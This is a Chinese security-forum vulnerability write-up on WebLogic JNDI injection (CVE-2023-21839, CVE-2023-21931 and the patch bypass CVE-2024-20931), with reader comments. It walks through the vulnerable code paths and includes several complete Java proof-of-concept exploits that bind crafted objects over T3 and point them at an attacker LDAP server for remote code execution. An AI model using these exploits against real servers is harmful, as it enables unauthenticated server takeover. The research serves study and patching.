问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从CVE-2023-21839到CVE-2024-20931
漏洞分析
某天刷手机看到微信公众号上发布的漏洞通告 "Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)" 就联想到了WebLogic之前也存在过的JNDI注入漏洞,分别是CVE-2023-21839 和 CVE-2023-21931 。漏洞通告中说的是CVE-2023-21839的补丁绕过,于是就想看看,学习学习,也回顾一下前面两个漏洞
从CVE-2023-21839到CVE-2024-20931 ============================== 前言 -- 某天刷手机看到微信公众号上发布的漏洞通告 "Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)" 就联想到了WebLogic之前也存在过的JNDI注入漏洞,分别是CVE-2023-21839 和 CVE-2023-21931 。漏洞通告中说的是CVE-2023-21839的补丁绕过,于是就想看看绕过,学习学习,也回顾一下前面两个漏洞 远程绑定对象 ------ Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看 ```java // 创建远程对象 MyRemoteObject remoteObject = new MyRemoteObject(); // 获取上下文 Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory"); env.put(Context.PROVIDER_URL, "t3://<server_ip>:<iiop_port>"); Context ctx = new InitialContext(env); // 绑定对象到JNDI ctx.rebind("myRemoteObject", remoteObject); // 远程查找对象 MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject"); ``` CVE-2023-21839 -------------- ### 漏洞描述 当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。 ### 漏洞分析 在t3/iiop协议解析查找对象的过程中会调用`weblogic.jndi.internal.WLNamingManager`的`getObjectInstance`方法 ![image-20240221170346715](https://raw.githubusercontent.com/todis21/image/main/2024/image-20240221170346715.png) 这个第一个参数`boundObject`是远程绑定的对象,如果这个对象继承或实现了`OpaqueReference`接口则会调用这个对象的`getReferent()`方法 漏洞利用的是weblogic.deployment.jms.ForeignOpaqueReference这个类 在这个类的`getReferent()`方法中实现了JNDI的初始化上下文和对象查询 ![image-20240221171006374](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-724c684756ba3ecf22efafc5f33550b3890f1fae.png) ![image-20240221171226078](https://raw.githubusercontent.com/todis21/image/main/2024/image-20240221171226078.png) 如果可以控制这个类的`this.jndiEnvironment`和`this.remoteJNDIName`就能造成JNDI注入 这个可以通过反射修改 ```java ForeignOpaqueReference f = new ForeignOpaqueReference(); Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f, env2); Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); remoteJNDIName.setAccessible(true); String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc"; remoteJNDIName.set(f, ldap); ``` 最后poc如下: ```php import javax.naming.Context; import javax.naming.InitialContext; import java.lang.reflect.Field; import java.util.Hashtable; import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.LinkRef; public class Main { public static void main(String[] args) throws Exception { String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; // 创建用来远程绑定对象的InitialContext String url = "t3://192.168.79.146:7001"; // 目标机器 Hashtable env1 = new Hashtable(); env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env1.put(Context.PROVIDER_URL, url); // 目标 InitialContext c = new InitialContext(env1); // ForeignOpaqueReference的jndiEnvironment属性 Hashtable env2 = new Hashtable(); env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性 ----------------- CVE-2023-21839 ForeignOpaqueReference f = new ForeignOpaqueReference(); Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f, env2); Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); remoteJNDIName.setAccessible(true); String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc"; remoteJNDIName.set(f, ldap); // 远程绑定ForeignOpaqueReference对象 c.rebind("sectest", f); // lookup查询ForeignOpaqueReference对象 try { c.lookup("sectest"); } catch (Exception e) { } } } ``` CVE-2023-21931 -------------- ### 漏洞分析 这个漏洞和CVE-2023-21839的差不多,区别在于`weblogic.jndi.internal.WLNamingManager`的`getObjectInstance`方法中 ![image-20240221172407635](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-205ae3bf605c869b917b9fd18d3009930d24c7e2.png) 该漏洞走的是另外一个分支,如果绑定的对象继承了LinkRef类则进入这个分支 看到下面的`boundObject = ic.lookup(linkName)` , 如果能控制这个`linkName`就可以造成JNDI注入了 跟进`getLinkName()` ![image-20240221172902170](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-32387da53a2be1ae1d388aa9c51ef412e52f31f5.png) 继续跟进getContent() ![image-20240221172949510](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-85d8ef526df089c02958b8fdeaad55b4457a71c2.png) 可以看到这个contents是通过构造函数赋值的,是LinkRef构造函数中传入的`linkName` ![image-20240221173040840](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-a758954aac96404958f7b1b18b717a6b954b4e04.png) 所有这个poc很简单 ```java import javax.naming.Context; import javax.naming.InitialContext; import java.lang.reflect.Field; import java.util.Hashtable; import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.LinkRef; public class Main { public static void main(String[] args) throws Exception { String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; // 创建用来远程绑定对象的InitialContext String url = "t3://192.168.79.146:7001"; // 目标机器 Hashtable env1 = new Hashtable(); env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env1.put(Context.PROVIDER_URL, url); // 目标 InitialContext c = new InitialContext(env1); // ForeignOpaqueReference的jndiEnvironment属性 Hashtable env2 = new Hashtable(); env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); //LinkRef类使用 LinkRef f = new LinkRef("ldap://192.168.1.12:1389/Basic/Command/calc"); //CVE-2023-21931 // 远程绑定ForeignOpaqueReference对象 c.rebind("sectest", f); // lookup查询ForeignOpaqueReference对象 try { c.lookup("sectest"); } catch (Exception e) { } } } ``` CVE-2024-20931 -------------- ### 漏洞描述: 该漏洞为CVE-2023-21839的补丁绕过,未经身份验证的威胁者可通过 T3、IIOP 进行网络访问来破坏 Oracle WebLogic Server,成功利用该漏洞可能导致Oracle WebLogic Server被接管或未授权访问 受影响的支持版本包括: Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0 ### 漏洞分析 在补丁中,对`weblogic.deployment.jms.ForeignOpaqueReference`这个利用类的getReferent()方法进行了些许修改: ![img](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-c201a739f2c014c2b6fa04a3ffea01e86139347f.png) 这里对这个`java.naming.provider.url`进行了检查(验签),检查不过则报错处理,不再往下运行。可以将其置空则会不进入判断继续往下运行 往下还能看到对`remoteJNDIName`的处理 ![img](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-f13fcf0063858e0d685e5bf239fbf1867ea1eeb5.png) 这个JNDIUtils.isValidJndiScheme方法似乎绕不过 ![img](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-37cd869e099d5b56c020f079e2a136b2621099cb.png) 根据网传的POC,还是使用的是使用这个类 在这个补丁中还是能够正常的利用到这一步: ```java context = new InitialContext(this.jndiEnvironment); ``` 这个this.jndiEnvironment可控,漏洞就是在这一步中触发 思路是在指定java.naming.factory.initial进行初始化的时候进行利用,指定的`java.naming.factory.initial`为`oracle.jms.AQjmsInitialContextFactory` 在oracle.jms.AQjmsInitialContextFactory进行初始化的时候会new 一个AQjmsContext()对象,其中这个var1参数是可控的 ![image-20240221195229168](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-69b5866afd6aab23852cf1fa7a0ff183c9d505c0.png) 跟进查看 ![image-20240221195344224](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-591fda61bf6c75df8f95b761f6ff8e86aa443f4f.png) 这个构造函数会将Hashtable中的`datasource`,保存到`this.dsLocation`中,然后调用`this.getDataSource()` ![image-20240221195503642](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-65efdac4cc3aee554f7ef2676b7ccf0439d3cb6f.png) 然后在这个方法中造成了JNDI注入,这样就不用再受前面说的`this.remoteJNDIName`的限制了 完整POC: ```java import javax.naming.Context; import javax.naming.InitialContext; import java.lang.reflect.Field; import java.util.Hashtable; import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.LinkRef; public class Main { public static void main(String[] args) throws Exception { String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; // 创建用来远程绑定对象的InitialContext String url = "t3://192.168.79.146:7001"; // 目标机器 Hashtable env1 = new Hashtable(); env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env1.put(Context.PROVIDER_URL, url); // 目标 InitialContext c = new InitialContext(env1); // ForeignOpaqueReference的jndiEnvironment属性 Hashtable env2 = new Hashtable(); env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory"); env2.put("datasource", "ldap://192.168.1.12:1389/Basic/Command/calc"); // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性 ForeignOpaqueReference f = new ForeignOpaqueReference(); Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f, env2); // 远程绑定ForeignOpaqueReference对象 c.rebind("glassy", f); // lookup查询ForeignOpaqueReference对象 try { c.lookup("glassy"); } catch (Exception e) { } } } ``` 其他思考 ---- CVE-2024-20931还是使用了和CVE-2024-20931一样的类`weblogic.deployment.jms.ForeignOpaqueReference` 回到`weblogic.jndi.internal.WLNamingManager`的`getObjectInstance`方法中 ![image-20240221172407635](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-205ae3bf605c869b917b9fd18d3009930d24c7e2.png) 是不是还能找到其他实现了`OpaqueReference`接口的利用类 然后找到`weblogic.jndi.internal.ForeignOpaqueReference` 乍一看以为是前面的`weblogic.deployment.jms.ForeignOpaqueReference` ,但是这个类比它简单很多 查看该类的`getReferent()` ```java public Object getReferent(Name name, Context ctx) throws NamingException { InitialContext context; if (this.jndiEnvironment == null) { context = new InitialContext(); } else { Hashtable properties = this.decrypt(); context = new InitialContext(properties); } Object retVal; try { retVal = context.lookup(this.remoteJNDIName); } finally { context.close(); } return retVal; } ``` 完美! 可用! POC 如下: ```java import javax.naming.Context; import javax.naming.InitialContext; import java.lang.reflect.Field; import java.util.Hashtable; //import weblogic.deployment.jms.ForeignOpaqueReference; //CVE-2023-21839+CVE-2024-20931 import weblogic.jndi.internal.ForeignOpaqueReference; import javax.naming.LinkRef; import com.rsa.jsafe.JSAFE_InvalidUseException; public class Main { public static void main(String[] args) throws Exception { String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; // 创建用来远程绑定对象的InitialContext String url = "t3://192.168.79.146:7001"; // 目标机器 Hashtable env1 = new Hashtable(); env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env1.put(Context.PROVIDER_URL, url); // 目标 InitialContext c = new InitialContext(env1); // ForeignOpaqueReference的jndiEnvironment属性 Hashtable env2 = new Hashtable(); env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); String ldap = "ldap://192.168.1.12:1389/Basic/Command/calc"; ForeignOpaqueReference f = new ForeignOpaqueReference(ldap,env2); // 远程绑定ForeignOpaqueReference对象 c.rebind("sectest", f); // lookup查询ForeignOpaqueReference对象 try { c.lookup("sectest"); } catch (Exception e) { } } } ``` 在我以为自己找到了新方法的时候,才发现漏洞作者已经提到过了,只是没有放POC 白高兴一场 我还找到这个类:`weblogic.application.naming.MessageDestinationReference` 在这个类的`lookupMessageDestination()`方法中也可以JNDI: ```java public Object lookupMessageDestination() throws NamingException { InitialContext ic; if (this.initialContextFactory == null) { ic = new InitialContext(); } else { Hashtable<String, String> env = new Hashtable(); env.put("java.naming.factory.initial", this.initialContextFactory); if (null != this.providerURL) { env.put("java.naming.provider.url", this.providerURL); } ic = new InitialContext(env); } return ic.lookup(this.jndiName); } ``` 整个调用过程如下,但是不知道能不能利用,需要慢慢尝试 ![image-20240222122909545](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-67a2157fca9203d7c4e3948654fa56a8444c6a86.png) 经过一番尝试,不能利用这个调用过程,因为无法控制参数replacerList (或许能控制,只是我太菜了),进而无法让其调用到`weblogic.application.naming.MessageDestinationObjectFactory`的`getObjectInstance`中 ![image-20240223153204665](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-8b5fc8bf20ba0707b92e04edfdcfe87c7ab0b0d0.png) END ---
发表于 2024-02-29 09:00:00
阅读 ( 22888 )
分类:
漏洞分析
1 推荐
收藏
5 条评论
buji666
2024-04-24 10:13
最后的那个思考,我也有跟到,那个f应该是控制不了的,他只有两个地方会对列表添加,并且都是不可控的
Stree
回复
buji666
最近的CVE-2024-21006,好像思路是和我那个思考的一样,
请先
登录
后评论
buji666
2024-04-24 10:14
通过远程绑定会到那个方法,但是到不了危险函数
请先
登录
后评论
buji666
2024-04-24 10:16
我有个问题,就是oracle.jms.AQjmsInitialContextFactory这个类在哪个jar包中,能麻烦讲一下吗,我没有找到
Stree
回复
buji666
历史久远,忘记了,你可以试试把所有的jar都添加到库
请先
登录
后评论
请先
登录
后评论
Stree
果农
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!